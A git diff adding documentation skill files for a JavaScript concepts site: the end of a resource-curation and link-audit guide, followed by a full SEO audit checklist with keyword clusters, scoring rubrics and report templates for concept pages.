+| **Fundamentals** (closures, scope, this) | Any | Core concepts don't change |
+| **DOM manipulation** | 2018+ | Modern APIs preferred |
+| **Fetch API** | 2017+ | Widespread support |
+
+**Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent.
+
+---
+
+## Description Writing Guide
+
+### The Formula
+
+```
+Sentence 1: What makes this resource unique OR what it specifically covers
+Sentence 2: Why reader should click (what they'll gain, who it's best for)
+```
+
+### Good Examples
+
+```markdown
+
+ Animated GIFs showing the call stack, microtask queue, and event loop in action.
+ The visuals make Promise execution order finally click for visual learners.
+
+
+
+ The legendary JSConf talk that made the event loop click for millions of developers.
+ Philip Roberts' live visualizations are the gold standard — a must-watch.
+
+
+
+ Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior.
+ Goes beyond the basics into edge cases and mental models for truly understanding scope.
+
+
+
+ Quick, clear explanation covering Promise creation, chaining, and error handling.
+ Perfect starting point if you're new to async JavaScript.
+
+
+
+ The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear.
+ Essential reading once you know async/await basics but want to write faster code.
+
+```
+
+### Bad Examples (Avoid)
+
+```markdown
+
+
+ A comprehensive guide to Promises in JavaScript.
+
+
+
+
+ This video explains closures in JavaScript.
+
+
+
+
+ Everything you need to know about JavaScript.
+
+
+
+
+ A video about understanding the event loop.
+
+```
+
+### Words and Phrases to Avoid
+
+| Avoid | Why | Use Instead |
+|-------|-----|-------------|
+| "comprehensive guide to..." | Vague, overused | Specify what's covered |
+| "learn all about..." | Generic | What specifically will they learn? |
+| "everything you need to know..." | Hyperbolic | Be specific |
+| "great tutorial on..." | Subjective filler | Why is it great? |
+| "explains X" | Too basic | How does it explain? What's unique? |
+| "in-depth look at..." | Vague | What depth? What aspect? |
+
+### Words and Phrases That Work
+
+| Good Phrase | Example |
+|-------------|---------|
+| "step-by-step walkthrough" | "Step-by-step walkthrough of building a Promise from scratch" |
+| "visual explanation" | "Visual explanation with animated diagrams" |
+| "deep dive into" | "Deep dive into V8's optimization strategies" |
+| "practical examples of" | "Practical examples of closures in React hooks" |
+| "the go-to reference for" | "The go-to reference for array method signatures" |
+| "finally makes X click" | "Finally makes prototype chains click" |
+| "perfect for beginners" | "Perfect for beginners new to async code" |
+| "covers X, Y, and Z" | "Covers creation, chaining, and error handling" |
+
+---
+
+## Link Audit Process
+
+### Step 1: Check Each Link
+
+For each resource in the concept page:
+
+1. **Click the link** — Does it load?
+2. **Note the HTTP status:**
+
+| Status | Meaning | Action |
+|--------|---------|--------|
+| 200 | OK | Keep, continue to content check |
+| 301/302 | Redirect | Update to final URL |
+| 404 | Not Found | Remove or find replacement |
+| 403 | Forbidden | Check manually, may be geo-blocked |
+| 5xx | Server Error | Retry later, may be temporary |
+
+### Step 2: Content Verification
+
+For each accessible link:
+
+1. **Skim the content** — Is it still accurate?
+2. **Check the date** — When was it published/updated?
+3. **Verify JavaScript focus** — Is it primarily about JS?
+4. **Look for red flags** — Anti-patterns, errors, outdated syntax
+
+### Step 3: Description Review
+
+For each resource:
+
+1. **Read current description** — Is it specific?
+2. **Compare to actual content** — Does it match?
+3. **Check for generic phrases** — "comprehensive guide", etc.
+4. **Identify improvements** — How can it be more specific?
+
+### Step 4: Gap Analysis
+
+After auditing all resources:
+
+1. **Count by section** — Do we meet targets?
+2. **Check diversity** — Beginner AND advanced? Visual AND text?
+3. **Identify missing types** — No MDN? No videos?
+4. **Note recommendations** — What should we add?
+
+---
+
+## Resource Section Templates
+
+### Reference Section
+
+```markdown
+## Reference
+
+
+
+ Official MDN documentation covering [specific aspects].
+ The authoritative reference for [what it's best for].
+
+
+ [What this reference covers].
+ Essential reading for understanding [specific aspect].
+
+
+```
+
+### Articles Section
+
+```markdown
+## Articles
+
+
+
+ [What makes it unique/what it covers].
+ [Why read this one/who it's for].
+
+
+ [Specific coverage].
+ [Value proposition].
+
+
+ [Unique angle].
+ [Why it's worth reading].
+
+
+ [What it covers].
+ [Best for whom].
+
+
+```
+
+### Videos Section
+
+```markdown
+## Videos
+
+
+
+ [What it covers/unique approach].
+ [Why watch/who it's for].
+
+
+ [Specific focus].
+ [What makes it stand out].
+
+
+ [Coverage].
+ [Value].
+
+
+```
+
+### Books Section (Optional)
+
+```markdown
+
+ [What the book covers and its approach].
+ [Who should read it and what they'll gain].
+
+```
+
+### Courses Section (Optional)
+
+```markdown
+
+
+ [What the course covers].
+ [Format and who it's best for].
+
+
+```
+
+---
+
+## Resource Audit Report Template
+
+Use this template to document audit findings.
+
+```markdown
+# Resource Audit Report: [Concept Name]
+
+**File:** `/docs/concepts/[slug].mdx`
+**Date:** YYYY-MM-DD
+**Auditor:** [Name/Claude]
+
+---
+
+## Summary
+
+| Metric | Count |
+|--------|-------|
+| Total Resources | XX |
+| Working Links (200) | XX |
+| Broken Links (404) | XX |
+| Redirects (301/302) | XX |
+| Outdated Content | XX |
+| Generic Descriptions | XX |
+
+## Resource Count vs Targets
+
+| Section | Current | Target | Status |
+|---------|---------|--------|--------|
+| Reference (MDN) | X | 2-4 | ✅/⚠️/❌ |
+| Articles | X | 4-6 | ✅/⚠️/❌ |
+| Videos | X | 3-4 | ✅/⚠️/❌ |
+| Courses | X | 0-3 | ✅/⚠️/❌ |
+
+---
+
+## Broken Links (Remove or Replace)
+
+| Resource | Line | URL | Status | Action |
+|----------|------|-----|--------|--------|
+| [Title] | XX | [URL] | 404 | Remove |
+| [Title] | XX | [URL] | 404 | Replace with [alternative] |
+
+---
+
+## Redirects (Update URLs)
+
+| Resource | Line | Old URL | New URL |
+|----------|------|---------|---------|
+| [Title] | XX | [old] | [new] |
+
+---
+
+## Outdated Resources (Consider Replacing)
+
+| Resource | Line | Issue | Recommendation |
+|----------|------|-------|----------------|
+| [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] |
+| [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace |
+
+---
+
+## Description Improvements Needed
+
+| Resource | Line | Current | Suggested |
+|----------|------|---------|-----------|
+| [Title] | XX | "A guide to closures" | "[Specific description with value prop]" |
+| [Title] | XX | "Learn about promises" | "[What makes it unique]. [Why read it]." |
+
+---
+
+## Missing Resources (Recommendations)
+
+| Type | Gap | Suggested Resource | URL |
+|------|-----|-------------------|-----|
+| Reference | No main MDN link | [Topic] — MDN | [URL] |
+| Article | No beginner guide | [Title] — javascript.info | [URL] |
+| Video | No visual explanation | [Title] — [Creator] | [URL] |
+| Article | No advanced deep-dive | [Title] — 2ality | [URL] |
+
+---
+
+## Non-JavaScript Resources (Remove)
+
+| Resource | Line | Issue |
+|----------|------|-------|
+| [Title] | XX | Primarily about C#, not JavaScript |
+
+---
+
+## Action Items
+
+### High Priority (Do First)
+1. **Remove broken link:** [Title] (line XX)
+2. **Add missing MDN reference:** [Topic]
+3. **Replace outdated resource:** [Title] with [alternative]
+
+### Medium Priority
+1. **Update redirect URL:** [Title] (line XX)
+2. **Improve description:** [Title] (line XX)
+3. **Add beginner-friendly article**
+
+### Low Priority
+1. **Add additional video resource**
+2. **Consider adding course section**
+
+---
+
+## Verification Checklist
+
+After making changes:
+
+- [ ] All broken links removed or replaced
+- [ ] All redirect URLs updated
+- [ ] Outdated resources replaced
+- [ ] Generic descriptions rewritten
+- [ ] Missing resource types added
+- [ ] Resource counts meet targets
+- [ ] All new links verified working
+- [ ] All descriptions are specific and valuable
+```
+
+---
+
+## Quick Reference
+
+### Icon Reference
+
+| Content Type | Icon Value |
+|--------------|------------|
+| MDN/Official docs | `book` |
+| Articles/Blog posts | `newspaper` |
+| Videos | `video` |
+| Courses | `graduation-cap` |
+| Books | `book` |
+| Related concepts | Context-appropriate |
+
+### Character Guidelines
+
+| Element | Guideline |
+|---------|-----------|
+| Card title | Keep concise, include creator for videos |
+| Description sentence 1 | What it covers / what's unique |
+| Description sentence 2 | Why read/watch / who it's for |
+
+### Resource Ordering
+
+Within each section, order resources:
+1. **Most foundational/beginner-friendly first**
+2. **Official references before community content**
+3. **Most highly recommended prominently placed**
+4. **Advanced/niche content last**
+
+---
+
+## Quality Checklist
+
+### Link Verification
+- [ ] All links return 200 (not 404, 301)
+- [ ] No redirect chains
+- [ ] No hard paywalls without notice
+- [ ] All URLs are HTTPS where available
+
+### Content Quality
+- [ ] All resources are JavaScript-focused
+- [ ] No resources teaching anti-patterns
+- [ ] Publication dates appropriate for topic
+- [ ] Mix of beginner and advanced content
+- [ ] Visual and text resources included
+
+### Description Quality
+- [ ] All descriptions are specific (not generic)
+- [ ] Descriptions explain unique value
+- [ ] No "comprehensive guide to..." phrases
+- [ ] Each description is 2 sentences
+- [ ] Descriptions match actual content
+
+### Completeness
+- [ ] 2-4 MDN/official references
+- [ ] 4-6 quality articles
+- [ ] 3-4 quality videos
+- [ ] Resources ordered logically
+- [ ] Diversity in teaching styles
+
+---
+
+## Summary
+
+When curating resources for a concept page:
+
+1. **Audit first** — Check all existing links and content
+2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos)
+3. **Find quality resources** — Search trusted sources
+4. **Write specific descriptions** — What's unique + why read/watch
+5. **Format correctly** — Proper Card syntax, icons, ordering
+6. **Document changes** — Use the audit report template
+
+**Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones.
diff --git a/.opencode/skill/seo-review/SKILL.md b/.opencode/skill/seo-review/SKILL.md
new file mode 100644
index 00000000..acc711ad
--- /dev/null
+++ b/.opencode/skill/seo-review/SKILL.md
@@ -0,0 +1,951 @@
+---
+name: seo-review
+description: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential
+---
+
+# Skill: SEO Audit for Concept Pages
+
+Use this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers.
+
+## When to Use
+
+- Before publishing a new concept page
+- When optimizing underperforming pages
+- Periodic content audits
+- After major content updates
+- When targeting new keywords
+
+## Goal
+
+Each concept page should rank for searches like:
+- "what is [concept] in JavaScript"
+- "how does [concept] work in JavaScript"
+- "[concept] JavaScript explained"
+- "[concept] JavaScript tutorial"
+- "[concept] JavaScript example"
+
+---
+
+## SEO Audit Methodology
+
+Follow these five steps for a complete SEO audit.
+
+### Step 1: Identify Target Keywords
+
+Before auditing, identify the keyword cluster for the concept.
+
+#### Keyword Cluster Template
+
+| Type | Pattern | Example (Closures) |
+|------|---------|-------------------|
+| **Primary** | [concept] JavaScript | closures JavaScript |
+| **What is** | what is [concept] in JavaScript | what is a closure in JavaScript |
+| **How does** | how does [concept] work | how do closures work |
+| **How to** | how to use/create [concept] | how to use closures |
+| **Why** | why use [concept] | why use closures JavaScript |
+| **Examples** | [concept] examples | closure examples JavaScript |
+| **vs** | [concept] vs [related] | closures vs scope |
+| **Interview** | [concept] interview questions | closure interview questions |
+
+### Step 2: On-Page SEO Audit
+
+Check all on-page SEO elements systematically.
+
+### Step 3: Featured Snippet Optimization
+
+Verify content is structured to win featured snippets.
+
+### Step 4: Internal Linking Audit
+
+Check the internal link structure.
+
+### Step 5: Generate Report
+
+Document findings using the report template.
+
+---
+
+## Keyword Clusters by Concept
+
+Use these pre-built keyword clusters for each concept.
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript call stack, call stack JavaScript |
+ | What is | what is the call stack in JavaScript |
+ | How does | how does the call stack work |
+ | Error | maximum call stack size exceeded, stack overflow JavaScript |
+ | Visual | call stack visualization, call stack explained |
+ | Interview | call stack interview questions JavaScript |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript primitive types, primitives in JavaScript |
+ | What are | what are primitive types in JavaScript |
+ | List | JavaScript data types, types in JavaScript |
+ | vs | primitives vs objects JavaScript |
+ | typeof | typeof JavaScript, JavaScript typeof operator |
+ | Interview | JavaScript types interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript value vs reference, pass by reference JavaScript |
+ | What is | what is pass by value in JavaScript |
+ | How does | how does JavaScript pass objects |
+ | Comparison | value types vs reference types JavaScript |
+ | Copy | how to copy objects JavaScript, deep copy JavaScript |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript type coercion, type conversion JavaScript |
+ | What is | what is type coercion in JavaScript |
+ | How does | how does type coercion work |
+ | Implicit | implicit type conversion JavaScript |
+ | Explicit | explicit type conversion JavaScript |
+ | Interview | type coercion interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript equality, == vs === JavaScript |
+ | What is | what is the difference between == and === |
+ | Comparison | loose equality vs strict equality JavaScript |
+ | Best practice | when to use == vs === |
+ | Interview | JavaScript equality interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript closures, JavaScript scope |
+ | What is | what is a closure in JavaScript, what is scope |
+ | How does | how do closures work, how does scope work |
+ | Types | types of scope JavaScript, lexical scope |
+ | Use cases | closure use cases, why use closures |
+ | Interview | closure interview questions JavaScript |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript event loop, event loop JavaScript |
+ | What is | what is the event loop in JavaScript |
+ | How does | how does the event loop work |
+ | Visual | event loop visualization, event loop explained |
+ | Related | call stack event loop, task queue JavaScript |
+ | Interview | event loop interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript Promises, Promises in JavaScript |
+ | What is | what is a Promise in JavaScript |
+ | How to | how to use Promises, how to chain Promises |
+ | Methods | Promise.all, Promise.race, Promise.allSettled |
+ | Error | Promise error handling, Promise catch |
+ | vs | Promises vs callbacks, Promises vs async await |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript async await, async await JavaScript |
+ | What is | what is async await in JavaScript |
+ | How to | how to use async await, async await tutorial |
+ | Error | async await error handling, try catch async |
+ | vs | async await vs Promises |
+ | Interview | async await interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript this keyword, this in JavaScript |
+ | What is | what is this in JavaScript |
+ | How does | how does this work in JavaScript |
+ | Binding | call apply bind JavaScript, this binding |
+ | Arrow | this in arrow functions |
+ | Interview | this keyword interview questions |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript prototype, prototype chain JavaScript |
+ | What is | what is a prototype in JavaScript |
+ | How does | how does prototype inheritance work |
+ | Chain | prototype chain explained |
+ | vs | prototype vs class JavaScript |
+ | Interview | prototype interview questions JavaScript |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript DOM, DOM manipulation JavaScript |
+ | What is | what is the DOM in JavaScript |
+ | How to | how to manipulate DOM JavaScript |
+ | Methods | getElementById, querySelector JavaScript |
+ | Events | DOM events JavaScript, event listeners |
+ | Performance | DOM performance, virtual DOM vs DOM |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript higher order functions, higher order functions |
+ | What are | what are higher order functions |
+ | Examples | map filter reduce JavaScript |
+ | How to | how to use higher order functions |
+ | Interview | higher order functions interview |
+
+
+
+ | Type | Keywords |
+ |------|----------|
+ | Primary | JavaScript recursion, recursion in JavaScript |
+ | What is | what is recursion in JavaScript |
+ | How to | how to write recursive functions |
+ | Examples | recursion examples JavaScript |
+ | vs | recursion vs iteration JavaScript |
+ | Interview | recursion interview questions |
+
+
+
+---
+
+## Audit Checklists
+
+### Title Tag Checklist (4 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter |
+| 2 | Primary keyword in first half | 1 | Concept name appears early |
+| 3 | Ends with "in JavaScript" | 1 | Check title ending |
+| 4 | Contains compelling hook | 1 | Promises value/benefit to reader |
+
+**Scoring:**
+- 4/4: ✅ Excellent
+- 3/4: ⚠️ Good, minor improvements possible
+- 0-2/4: ❌ Needs significant work
+
+**Title Formula:**
+```
+[Concept]: [What You'll Understand] in JavaScript
+```
+
+**Good Examples:**
+| Concept | Title (with character count) |
+|---------|------------------------------|
+| Closures | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) |
+| Event Loop | "Event Loop: How Async Code Actually Runs in JavaScript" (54 chars) |
+| Promises | "Promises: Handling Async Operations in JavaScript" (49 chars) |
+| DOM | "DOM: How Browsers Represent Web Pages in JavaScript" (51 chars) |
+
+**Bad Examples:**
+| Issue | Bad Title | Better Title |
+|-------|-----------|--------------|
+| Too short | "Closures" | "Closures: How Functions Remember Their Scope in JavaScript" |
+| Too long | "Understanding JavaScript Closures and How They Work with Examples" (66 chars) | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) |
+| No hook | "JavaScript Closures" | "Closures: How Functions Remember Their Scope in JavaScript" |
+| Missing "JavaScript" | "Understanding Closures and Scope" | Add "in JavaScript" at end |
+
+---
+
+### Meta Description Checklist (4 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter |
+| 2 | Starts with action word | 1 | "Learn", "Understand", "Discover" (NOT "Master") |
+| 3 | Contains primary keyword | 1 | Concept name + "JavaScript" present |
+| 4 | Promises specific value | 1 | Lists what reader will learn |
+
+**Description Formula:**
+```
+[Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].
+```
+
+**Good Examples:**
+
+| Concept | Description |
+|---------|-------------|
+| Closures | "Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns." (159 chars) |
+| Event Loop | "Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking." (176 chars - trim!) |
+| DOM | "Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering." (162 chars) |
+
+**Bad Examples:**
+
+| Issue | Bad Description | Fix |
+|-------|-----------------|-----|
+| Too short | "Learn about closures" | Expand to 150-160 chars with specifics |
+| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." |
+| Too vague | "A guide to closures" | List specific topics covered |
+| Missing keyword | "Functions can remember things" | Include "closures" and "JavaScript" |
+
+---
+
+### Keyword Placement Checklist (5 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Primary keyword in title | 1 | Check frontmatter `title` |
+| 2 | Primary keyword in meta description | 1 | Check frontmatter `description` |
+| 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs |
+| 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings |
+| 5 | No keyword stuffing | 1 | Content reads naturally |
+
+**Keyword Placement Map:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ KEYWORD PLACEMENT │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ 🔴 CRITICAL (Must have keyword) │
+│ ───────────────────────────────── │
+│ • title frontmatter │
+│ • description frontmatter │
+│ • First paragraph (within 100 words) │
+│ • At least one H2 heading │
+│ │
+│ 🟡 RECOMMENDED (Include naturally) │
+│ ────────────────────────────────── │
+│ • "What you'll learn" Info box │
+│ • H3 subheadings │
+│ • Key Takeaways section │
+│ • First sentence after major H2s │
+│ │
+│ ⚠️ AVOID │
+│ ───────── │
+│ • Same phrase >4 times per 1000 words │
+│ • Forcing keywords where pronouns work better │
+│ • Awkward sentence structures to fit keywords │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+### Content Structure Checklist (6 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Opens with question hook | 1 | First paragraph asks engaging question |
+| 2 | Code example in first 200 words | 1 | Simple example appears early |
+| 3 | "What you'll learn" Info box | 1 | `` component after opening |
+| 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks |
+| 5 | 1,500+ words | 1 | Word count check |
+| 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` |
+
+**Content Structure Template:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ IDEAL PAGE STRUCTURE │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ 1. QUESTION HOOK (First 50 words) │
+│ "How does JavaScript...? Why do...?" │
+│ │
+│ 2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200) │
+│ Quick explanation + simple code demo │
+│ │
+│ 3. "WHAT YOU'LL LEARN" INFO BOX │
+│ 5-7 bullet points │
+│ │
+│ 4. PREREQUISITES WARNING (if applicable) │
+│ Link to required prior concepts │
+│ │
+│ 5. MAIN CONTENT SECTIONS (H2s) │
+│ Each H2 answers a question or teaches a concept │
+│ Include code examples, diagrams, tables │
+│ │
+│ 6. COMMON MISTAKES / GOTCHAS SECTION │
+│ What trips people up │
+│ │
+│ 7. KEY TAKEAWAYS │
+│ 8-10 numbered points summarizing everything │
+│ │
+│ 8. TEST YOUR KNOWLEDGE │
+│ 5-6 Q&A accordions │
+│ │
+│ 9. RELATED CONCEPTS │
+│ 4 cards linking to related topics │
+│ │
+│ 10. RESOURCES (Reference, Articles, Videos) │
+│ MDN links, curated articles, videos │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+### Featured Snippet Checklist (4 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | "What is X" has 40-60 word definition | 1 | Count words in first paragraph after "What is" H2 |
+| 2 | At least one H2 is phrased as question | 1 | Check for "What is", "How does", "Why" H2s |
+| 3 | Numbered steps for "How to" content | 1 | Uses `` component or numbered list |
+| 4 | Comparison tables (if applicable) | 1 | Tables for "X vs Y" content |
+
+**Featured Snippet Patterns:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────┐
+│ FEATURED SNIPPET FORMATS │
+├─────────────────────────────────────────────────────────────────────────┤
+│ │
+│ QUERY TYPE WINNING FORMAT YOUR CONTENT │
+│ ─────────── ────────────── ──────────── │
+│ │
+│ "What is X" Paragraph 40-60 word definition │
+│ after H2, bold keyword │
+│ │
+│ "How to X" Numbered list component or │
+│ 1. 2. 3. markdown │
+│ │
+│ "X vs Y" Table | Feature | X | Y | │
+│ comparison table │
+│ │
+│ "Types of X" Bullet list - **Type 1** — desc │
+│ - **Type 2** — desc │
+│ │
+│ "[X] examples" Code block ```javascript │
+│ + explanation // example code │
+│ │
+└─────────────────────────────────────────────────────────────────────────┘
+```
+
+**Definition Paragraph Example (40-60 words):**
+
+```markdown
+## What is a Closure in JavaScript?
+
+A **closure** is a function that retains access to variables from its outer
+(enclosing) scope, even after that outer function has finished executing.
+Closures are created every time a function is created in JavaScript, allowing
+inner functions to "remember" and access their lexical environment.
+```
+
+(This is 52 words - perfect for a featured snippet)
+
+---
+
+### Internal Linking Checklist (4 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose |
+| 2 | Descriptive anchor text | 1 | No "click here", "here", "this" |
+| 3 | Prerequisites in Warning box | 1 | `` with links at start |
+| 4 | Related Concepts section has 4 cards | 1 | `` at end with 4 Cards |
+
+**Good Anchor Text:**
+
+| ❌ Bad | ✓ Good |
+|--------|--------|
+| "click here" | "event loop concept" |
+| "here" | "JavaScript closures" |
+| "this article" | "our Promises guide" |
+| "read more" | "understanding the call stack" |
+
+**Link Placement Strategy:**
+
+```markdown
+
+
+**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises)
+and the [Event Loop](/concepts/event-loop). Read those first if needed.
+
+
+
+When the callback finishes, it's added to the task queue — managed by
+the [event loop](/concepts/event-loop).
+
+
+
+
+ async/await is built on top of Promises
+
+
+```
+
+---
+
+### Technical SEO Checklist (3 points)
+
+| # | Check | Points | How to Verify |
+|---|-------|--------|---------------|
+| 1 | Single H1 per page | 1 | Only one `#` heading (the title) |
+| 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` |
+| 3 | No orphan pages | 1 | Page is linked from at least one other page |
+
+**H1 Rule:**
+
+Every page should have exactly ONE H1 (your main title). This is critical for SEO:
+- The H1 tells Google what the page is about
+- Multiple H1s confuse search engines about page hierarchy
+- All other headings should be H2 (`##`) and below
+- The H1 should contain your primary keyword
+
+```markdown
+# Closures in JavaScript ← This is your H1 (only one!)
+
+## What is a Closure? ← H2 for sections
+### Lexical Scope ← H3 for subsections
+## How Closures Work ← Another H2
+```
+
+**URL/Slug Best Practices:**
+
+| ✅ Good | ❌ Bad |
+|---------|--------|
+| `/concepts/closures` | `/concepts/c1` |
+| `/concepts/event-loop` | `/concepts/topic-7` |
+| `/concepts/type-coercion` | `/concepts/abc123` |
+| `/concepts/async-await` | `/concepts/async_await` |
+
+Rules for slugs:
+- **Include primary keyword** — The concept name should be in the URL
+- **Use hyphens, not underscores** — `event-loop` not `event_loop`
+- **Keep slugs short and readable** — Under 50 characters
+- **No UUIDs, database IDs, or random strings**
+- **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop`
+
+**Orphan Page Detection:**
+
+An orphan page has no internal links pointing to it from other pages. This hurts SEO because:
+- Google may not discover or crawl it frequently
+- It signals the page isn't important to your site structure
+- Users can't navigate to it naturally
+- Link equity doesn't flow to the page
+
+**How to check for orphan pages:**
+1. Search the codebase for links to this concept: `grep -r "/concepts/[slug]" docs/`
+2. Verify it appears in at least one other concept's "Related Concepts" section
+3. Check that pages listing it as a prerequisite link back appropriately
+4. Ensure it's included in the navigation (`docs.json`)
+
+**Fixing orphan pages:**
+- Add the concept to related pages' "Related Concepts" CardGroup
+- Link to it naturally in body content of related concepts
+- Ensure bidirectional linking (if A links to B, B should link back to A where relevant)
+
+---
+
+## Scoring System
+
+### Total Points Available: 30
+
+| Category | Max Points |
+|----------|------------|
+| Title Tag | 4 |
+| Meta Description | 4 |
+| Keyword Placement | 5 |
+| Content Structure | 6 |
+| Featured Snippets | 4 |
+| Internal Linking | 4 |
+| Technical SEO | 3 |
+| **Total** | **30** |
+
+### Score Interpretation
+
+| Score | Percentage | Status | Action |
+|-------|------------|--------|--------|
+| 27-30 | 90-100% | ✅ Excellent | Ready to publish |
+| 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed |
+| 17-22 | 55-74% | ⚠️ Fair | Several improvements needed |
+| 0-16 | <55% | ❌ Poor | Significant work required |
+
+---
+
+## Common SEO Issues and Fixes
+
+### Title Tag Issues
+
+| Issue | Current | Fix |
+|-------|---------|-----|
+| Too short (<50 chars) | "Closures" (8) | "Closures: How Functions Remember Their Scope in JavaScript" (58) |
+| Too long (>60 chars) | "Understanding JavaScript Closures and How They Work with Examples" (66) | "Closures: How Functions Remember Their Scope in JavaScript" (58) |
+| Missing keyword | "Understanding Scope" | Add concept name: "Closures: Understanding Scope in JavaScript" |
+| No hook | "JavaScript Closures" | Add benefit: "Closures: How Functions Remember Their Scope in JavaScript" |
+| Missing "JavaScript" | "Closures Explained" | Add at end: "Closures Explained in JavaScript" |
+
+### Meta Description Issues
+
+| Issue | Current | Fix |
+|-------|---------|-----|
+| Too short (<120 chars) | "Learn about closures" (20) | Expand with specifics to 150-160 chars |
+| Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information |
+| Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." |
+| No keyword | "Functions that remember" | Include "closures" and "JavaScript" |
+| Too vague | "A guide to closures" | List specific topics: "Covers X, Y, and Z" |
+
+### Content Structure Issues
+
+| Issue | Fix |
+|-------|-----|
+| No question hook | Start with "How does...?" or "Why...?" |
+| Code example too late | Move simple example to first 200 words |
+| Missing Info box | Add `` with "What you'll learn" |
+| Long paragraphs | Break into 2-4 sentence chunks |
+| Under 1,500 words | Add more depth, examples, edge cases |
+| No bolded terms | Bold key concepts on first mention |
+
+### Featured Snippet Issues
+
+| Issue | Fix |
+|-------|-----|
+| No "What is" definition | Add 40-60 word definition paragraph |
+| Definition too long | Tighten to 40-60 words |
+| No question H2s | Add "What is X?" or "How does X work?" H2 |
+| Steps not numbered | Use `` or numbered markdown |
+| No comparison tables | Add table for "X vs Y" sections |
+
+### Internal Linking Issues
+
+| Issue | Fix |
+|-------|-----|
+| No internal links | Add 3-5 links to related concepts |
+| Bad anchor text | Replace "click here" with descriptive text |
+| No prerequisites | Add `` with prerequisite links |
+| Empty Related Concepts | Add 4 Cards linking to related topics |
+
+### Technical SEO Issues
+
+| Issue | Fix |
+|-------|-----|
+| Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections |
+| Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) |
+| Orphan page | Add links from related concept pages' body or Related Concepts section |
+| Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` |
+| Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` |
+| Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` |
+
+---
+
+## SEO Audit Report Template
+
+Use this template to document your findings.
+
+```markdown
+# SEO Audit Report: [Concept Name]
+
+**File:** `/docs/concepts/[slug].mdx`
+**Date:** YYYY-MM-DD
+**Auditor:** [Name/Claude]
+**Overall Score:** XX/30 (XX%)
+**Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor
+
+---
+
+## Score Summary
+
+| Category | Score | Status |
+|----------|-------|--------|
+| Title Tag | X/4 | ✅/⚠️/❌ |
+| Meta Description | X/4 | ✅/⚠️/❌ |
+| Keyword Placement | X/5 | ✅/⚠️/❌ |
+| Content Structure | X/6 | ✅/⚠️/❌ |
+| Featured Snippets | X/4 | ✅/⚠️/❌ |
+| Internal Linking | X/4 | ✅/⚠️/❌ |
+| Technical SEO | X/3 | ✅/⚠️/❌ |
+| **Total** | **X/30** | **STATUS** |
+
+---
+
